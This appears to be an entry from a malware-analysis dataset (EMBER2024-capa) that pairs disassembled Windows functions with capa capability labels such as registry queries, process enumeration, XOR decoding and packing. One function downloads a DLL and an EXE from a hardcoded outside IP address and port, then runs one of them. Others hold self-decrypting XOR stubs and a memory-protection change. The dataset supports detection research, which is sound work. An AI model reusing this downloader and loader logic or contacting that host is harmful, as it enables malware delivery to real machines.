joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005671
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x100111f4
call fcn.1000a63c
sub esp, 0x4c
mov eax, dword [0x100162d0]
push ebx
push esi
push edi
push 0x100123a6
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x10], eax
call fcn.1000515f
movzx esi, byte [0x10012a12]
and dword [ebp - 4], 0
and dword [ebp - 0x4c], 0
lea ebx, [esi + 1]
push ebx
call fcn.10009343
push ebx
xor ebx, ebx
mov edi, eax
push ebx
push edi
call fcn.10009930
push esi
push str.jn4_0uLLUe
push edi
call fcn.10009a30
push 0x100128fc
push esi
push edi
call fcn.10007a5b
add esp, 0x28
push edi
lea ecx, [ebp - 0x48]
call fcn.100023b0
push edi
call fcn.1000a0ad
push dword [ebp + 8]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100023cd
mov eax, dword [ebp - 0x28]
add esp, 0x10
cmp dword [ebp - 0x14], 0x10
jae 0x10005703
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x50]
push ecx
push 0xf003f
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor esi, esi
inc esi
test eax, eax
jne 0x1000575f
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push str.Start
push dword [ebp - 0x50]
mov dword [ebp + 8], 0x50
mov dword [ebp - 0x54], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10005756
cmp dword [ebp - 0x58], 2
jne 0x10005756
mov dword [ebp - 0x4c], esi
push dword [ebp - 0x50]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.10001db0
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.10001db0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x4c]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.1000987e
leave
ret 4

Function at 0x1000578f
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x10011243
call fcn.1000a63c
sub esp, 0x54
push ebx
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
xor ebx, ebx
lea eax, [ebp - 0x60]
push esi
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.10009930
push 0x10
lea eax, [ebp - 0x1c]
push esi
push eax
mov dword [ebp - 0x60], edi
call fcn.10009930
add esp, 0x18
push 0x100126f8
lea ecx, [ebp + 8]
call fcn.10004fa8
push 0xffffffffffffffff
push esi
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp + 8]
call fcn.1000219d
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x100057ef
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000582b
push 0x927c0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x18]
call edi
push esi
lea ecx, [ebp + 8]
push ebx
call fcn.10001db0
push esi
lea ecx, [ebp + 0x24]
push ebx
call fcn.10001db0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x38
Function at 0x10005850
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x100058d4
push ebx
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x18], 0x10
jb 0x10005883
mov eax, dword [edi + 4]
jmp 0x10005886
lea eax, [edi + 4]
push 0xf01ff
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x100058cd
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x100058ca
cmp dword [ebp - 0x24], 4
jne 0x100058ca
mov ecx, dword [ebp - 0xc]
push edi
call fcn.10005671
test eax, eax
je 0x100058ca
mov dword [ebp - 8], 1
push ebx
call esi
push dword [ebp - 4]
call esi
pop edi
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret 4

Function at 0x100058dc
Capabilities:
Copy file
Delete directory
Read .ini file
Read file via mapping
Set file attributes

Disassembly:
mov eax, 0x1001126d
call fcn.1000a63c
sub esp, 0x48
mov eax, dword [0x100162d0]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor edi, edi
push edi
mov dword [ebp - 0x14], eax
mov esi, ecx
call fcn.1000620d
lea eax, [esi + 0x54]
push eax
lea ecx, [ebp - 0x30]
call fcn.1000238a
lea eax, [esi + 0xe0]
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], edi
call fcn.1000238a
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 1
jae 0x1000592f
lea eax, [ebp - 0x2c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [ebp - 0x2c]
jae 0x10005947
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x10005953
lea eax, [ebp - 0x48]
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10005a03
push edi
push edi
push edi
push edi
push edi
push str.dfgd0
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
push edi
push edi
push edi
push str.sdfe
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push str.shjt
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x54], esp
push 0x10012700
call fcn.1000515f
sub esp, 0x1c
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
mov byte [ebp - 4], 3
call fcn.1000238a
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.1000578f
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push 0x100126fc
call fcn.1000515f
sub esp, 0x1c
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0x54], esp
push eax
mov byte [ebp - 4], 4
call fcn.1000238a
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.1000578f
xor esi, esi
inc esi
jmp 0x10005a05
xor esi, esi
push edi
push 1
lea ecx, [ebp - 0x4c]
call fcn.10001db0
push edi
push 1
lea ecx, [ebp - 0x30]
call fcn.10001db0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.1000987e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005b8b
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x100162d0]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor eax, eax
inc eax
cmp dword [ebp - 0x88], eax
jne 0x10005bd0
cmp dword [ebp - 0x94], 4
jne 0x10005bd0
cmp dword [ebp - 0x90], 0xa
je 0x10005bd2
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.1000987e
leave
ret

Function at 0x10005f00
Capabilities:
Get common file path

Disassembly:
mov eax, 0x100112cb
call fcn.1000a63c
sub esp, 0x12c
mov eax, dword [0x100162d0]
push ebx
push esi
push edi
xor esi, esi
push 0x100123a6
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x134], esi
call fcn.1000515f
push 0x40
mov byte [ebp - 0x130], 0
xor eax, eax
pop ecx
lea edi, [ebp - 0x12f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 4], esi
mov dword [ebp - 0x134], esi
movzx esi, byte [0x10012793]
stosb byte es:[edi], al
lea edi, [esi + 1]
push edi
call fcn.10009343
push edi
mov ebx, eax
push 0
push ebx
call fcn.10009930
push esi
push 0x10012788
push ebx
call fcn.10009a30
mov edi, 0x100128fc
push edi
push esi
push ebx
call fcn.10007a5b
add esp, 0x28
push ebx
lea ecx, [ebp - 0x2c]
call fcn.100023b0
push ebx
call fcn.1000a0ad
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
pop ecx
jae 0x10005fa3
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [ebp - 0x138], eax
je 0x1000604d
movzx esi, byte [0x100128ac]
lea eax, [esi + 1]
push eax
call fcn.10009343
mov ebx, eax
lea eax, [esi + 1]
push eax
push 0
push ebx
call fcn.10009930
push esi
push 0x1001289c
push ebx
call fcn.10009a30
push edi
push esi
push ebx
call fcn.10007a5b
add esp, 0x28
push ebx
lea ecx, [ebp - 0x2c]
call fcn.100023b0
push ebx
call fcn.1000a0ad
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
pop ecx
jae 0x10006009
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
je 0x10006039
lea ecx, [ebp - 0x130]
push ecx
push esi
push esi
push dword [ebp + 0xc]
push esi
call eax
test eax, eax
jl 0x10006039
mov dword [ebp - 0x134], 1
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x134], esi
jne 0x1000605f
push 0x104
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x130]
push eax
call fcn.1000515f
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001db0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.1000987e
leave
ret 8
Function at 0x10006096
Capabilities:
Get disk information

Disassembly:
mov eax, 0x100112cb
call fcn.1000a63c
sub esp, 0x88
mov eax, dword [0x100162d0]
push esi
push edi
push 0x100123a6
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
call fcn.1000515f
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x94]
push eax
push 0xc
push esi
push 0x10012a50
mov dword [ebp - 4], esi
mov dword [ebp - 0x94], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 0x94]
lea eax, [ebp - 0x90]
push 0x10012a4c
push eax
call fcn.1000ad58
lea eax, [ebp - 0x90]
push eax
call fcn.100099a0
add esp, 0x10
test eax, eax
jne 0x10006170
movzx esi, byte [0x1001286a]
push ebx
lea ebx, [esi + 1]
push ebx
call fcn.10009343
push ebx
mov edi, eax
push 0
push edi
call fcn.10009930
push esi
push 0x1001285c
push edi
call fcn.10009a30
push 0x100128fc
push esi
push edi
call fcn.10007a5b
add esp, 0x28
push edi
lea ecx, [ebp - 0x2c]
call fcn.100023b0
push edi
call fcn.1000a0ad
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
pop ecx
pop ebx
jae 0x1000615f
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000ac60
pop ecx
pop ecx
xor esi, esi
lea eax, [ebp - 0x90]
push eax
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
xor edi, edi
cmp eax, esi
je 0x10006191
push eax
inc edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001db0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop esi
call fcn.1000987e
leave
ret
Function at 0x10007a5b
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x10007a9e
cmp byte [edi], 0
je 0x10007a9e
push ebx
push edi
call fcn.100099a0
pop ecx
xor ecx, ecx
cmp dword [esp + 0x10], ecx
mov ebx, eax
jle 0x10007a99
push esi
mov eax, dword [esp + 0x10]
lea esi, [ecx + eax]
mov eax, ecx
cdq
idiv ebx
mov al, byte [esi]
sub al, cl
xor al, byte [edx + edi]
inc ecx
cmp ecx, dword [esp + 0x14]
mov byte [esi], al
jl 0x10007a7c
pop esi
pop ebx
mov al, 1
pop edi
ret
xor al, al
pop edi
ret

Function at 0x10007b67
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x58], eax
ret

Function at 0x1000836e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x100162d0]
push esi
mov dword [ebp - 4], eax
xor esi, esi
xor eax, eax
cmp dword [ebp + 0xc], esi
je 0x1000840e
push edi
push 0x49
pop ecx
push esi
mov dword [ebp - 0x12c], esi
lea edi, [ebp - 0x128]
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x100083b2
xor eax, eax
jmp 0x1000840d
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008404
push dword [ebp + 0xc]
call fcn.1000ab45
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.1000ab45
pop ecx
push eax
call fcn.1000adb0
test eax, eax
pop ecx
pop ecx
je 0x10008419
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100083cd
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
call fcn.1000987e
leave
ret
push dword [ebp - 0x124]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push dword [ebp + 8]
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
jmp 0x10008404

Function at 0x10009133
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x100162d0]
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.10009103
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.10009930
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x10009195
cmp dword [ebp - 0x1c], 5
jb 0x100091ad
jmp 0x100091a9
cmp dword [ebp - 0x10], 1
jne 0x100091ad
cmp dword [ebp - 0x1c], 4
ja 0x100091a9
jne 0x100091ad
cmp dword [ebp - 0x18], 0
jbe 0x100091ad
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x10012ac0
call fcn.10001219
test eax, eax
jge 0x100091ce
mov byte [0x10016eac], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
pop esi
call fcn.1000987e
add ebp, 0x78
leave
ret
Function at 0x1000b22a
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x1000b31a
mov eax, 0x94
call fcn.10009810
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000b38f
mov ecx, dword [esi + 0x10]
mov dword [0x10017bc8], ecx
mov eax, dword [esi + 4]
mov dword [0x10017bd4], eax
mov edx, dword [esi + 8]
mov dword [0x10017bd8], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x10017bcc], esi
je 0x1000b295
or esi, 0x8000
mov dword [0x10017bcc], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x10017bd0], eax
call fcn.1000b67b
test eax, eax
pop ecx
je 0x1000b38f
call fcn.1000d386
test eax, eax
jne 0x1000b2c2
call fcn.1000b6cc
jmp 0x1000b38f
call fcn.1000f62c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100192d8], eax
call fcn.1000f50a
mov dword [0x10017a5c], eax
call fcn.1000efeb
test eax, eax
jl 0x1000b313
call fcn.1000f468
test eax, eax
jl 0x1000b30e
call fcn.1000f235
test eax, eax
jl 0x1000b30e
push 0
call fcn.1000c2c8
test eax, eax
pop ecx
jne 0x1000b30e
inc dword [0x10017a58]
jmp 0x1000b3a0
call fcn.1000f1e9
call fcn.1000d16f
jmp 0x1000b2b8
test eax, eax
jne 0x1000b34a
cmp dword [0x10017a58], eax
jle 0x1000b38f
dec dword [0x10017a58]
cmp dword [0x10017c04], eax
jne 0x1000b339
call fcn.1000c406
call fcn.1000f1e9
call fcn.1000d16f
call fcn.1000b6cc
jmp 0x1000b3a0
cmp eax, 2
jne 0x1000b393
push 0x8c
push 1
call fcn.1000ef30
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x1000b38f
push esi
push dword [0x10016434]
call dword [0x10017c6c]
test eax, eax
push esi
je 0x1000b389
call fcn.1000d18c
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x1000b3a0
call fcn.10009561
pop ecx
xor eax, eax
jmp 0x1000b3a3
cmp eax, 3
jne 0x1000b3a0
push 0
call fcn.1000d357
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x1000c332
Capabilities:
Terminate process

Disassembly:
push 8
push 0x10012c68
call fcn.100096b8
push 8
call fcn.1000b630
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x10017c08], esi
jne 0x1000c366
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x10017c04], esi
mov al, byte [ebp + 0x10]
mov byte [0x10017c00], al
cmp dword [ebp + 0xc], edi
jne 0x1000c3b0
cmp dword [0x100192a8], edi
je 0x1000c3a0
mov eax, dword [0x100192a4]
sub eax, 4
mov dword [0x100192a4], eax
cmp eax, dword [0x100192a8]
jb 0x1000c3a0
mov eax, dword [eax]
cmp eax, edi
je 0x1000c381
call eax
jmp 0x1000c381
push 0x10016038
mov eax, 0x10016030
call fcn.1000c2b0
pop ecx
push 0x10016044
mov eax, 0x1001603c
call fcn.1000c2b0
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x1000c3e1
cmp dword [ebp + 0x10], edi
jne 0x1000c3ef
mov dword [0x10017c08], esi
push dword [ebp + 8]
call fcn.1000c26e
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x1000c3ee
push 8
call fcn.1000b57b
pop ecx
ret
call fcn.100096f3
ret
Function at 0x1000f833
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x100162d0]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x10016b70]
je 0x1000f868
inc eax
cmp eax, 0x13
jb 0x1000f859
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x10016b70]
jne 0x1000f98e
mov eax, dword [0x10017a64]
cmp eax, 1
je 0x1000f966
cmp eax, edx
jne 0x1000f898
cmp dword [0x10017a68], 1
je 0x1000f966
cmp ecx, 0xfc
je 0x1000f98e
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000f8ce
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.1000ac60
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.100099a0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x1000f902
mov eax, edi
push eax
call fcn.100099a0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x10012cac
push edi
call fcn.1000ae70
add esp, 0x10
push edi
call fcn.100099a0
push dword [esi + 0x10016b74]
mov ebx, eax
call fcn.100099a0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.10009810
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.1000ac60
push edi
push ebx
call fcn.1000ac70
push 0x10012ca8
push ebx
call fcn.1000ac70
push dword [esi + 0x10016b74]
push ebx
call fcn.1000ac70
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.1000fa7e
add esp, 0x2c
jmp 0x1000f98e
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x10016b74]
push dword [esi]
call fcn.100099a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.1000987e
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
mov ecx, 0x1e6c4561
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x4b871076
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40153b
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406740
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a0
mov dword [ebp - 0x1ac], ecx
mov ecx, dword [ebp - 0x1ac]
call sub.MFC42.DLL_CFrameWnd::CFrameWnd
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1ac]
mov dword [eax], 0x4077d0
mov word [ebp - 0x1a6], 0x202
lea ecx, [ebp - 0x1a4]
push ecx
mov dx, word [ebp - 0x1a6]
push edx
call sub.WSOCK32.dll_WSAStartup
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4015b7
push 0
push 0
push 0x40906c
mov ecx, dword [ebp - 0x1ac]
call sub.MFC42.DLL_CWnd::MessageBoxA
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x403c5a
Capabilities:
Create directory
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
push str.C:Windows_sysWOW64_testnxhz
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0
push str.C:Windows_sysWOW64_testnxhzKeyboardProc.dll
push str.http:__222.186.59.253:4159_ahudll.dll
push 0
call sub.urlmon.dll_URLDownloadToFileW
push 0
push 0
push 0x4092f0
push str.http:__222.186.59.253:4159_ahu.exe
push 0
call sub.urlmon.dll_URLDownloadToFileW
push 0
push 0
push 0
push str.C:Windows_sysWOW64_testnxhz_testentixhz.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop ebp
ret
Function at 0x450012
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword fs:[0], esp
xor ebx, ebx
push ebx
push ebx
push 0x80000000
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [0x44ff28]
sub edi, edi
sub ecx, ecx
mov cl, 0xe5
inc edi
loop 0x45003a
call 0x450042
pop esi
sub esi, 0xffffffc2
push esi
sub ebx, ebx
or ebx, 0x2394
mov al, byte [esi]
xor ax, di
xchg byte [esi], al
inc esi
sub ebx, 1
cmp ebx, 0
ja 0x450052
pop esi
mov esp, dword fs:[0]
pop dword fs:[0]
pop edi
pop ebp
jmp esi

Function at 0x4014d1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0x134]
sub esp, 0x154
mov dword [ebp - 0x134], 0
mov dword [esp], eax
lea ebx, [ebp - 0x10c]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x118], 6
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x120], 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 4]
leave
sub eax, 3
ret

Function at 0x40159e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.004014d1
test eax, eax
jne 0x401638
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x4020ce
sub eax, 0x40166c
mov dword [esp], 0x40166c
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401638
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.004013d1
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.0040144c
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], str.g_n_p
call fcn.00401dd1
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret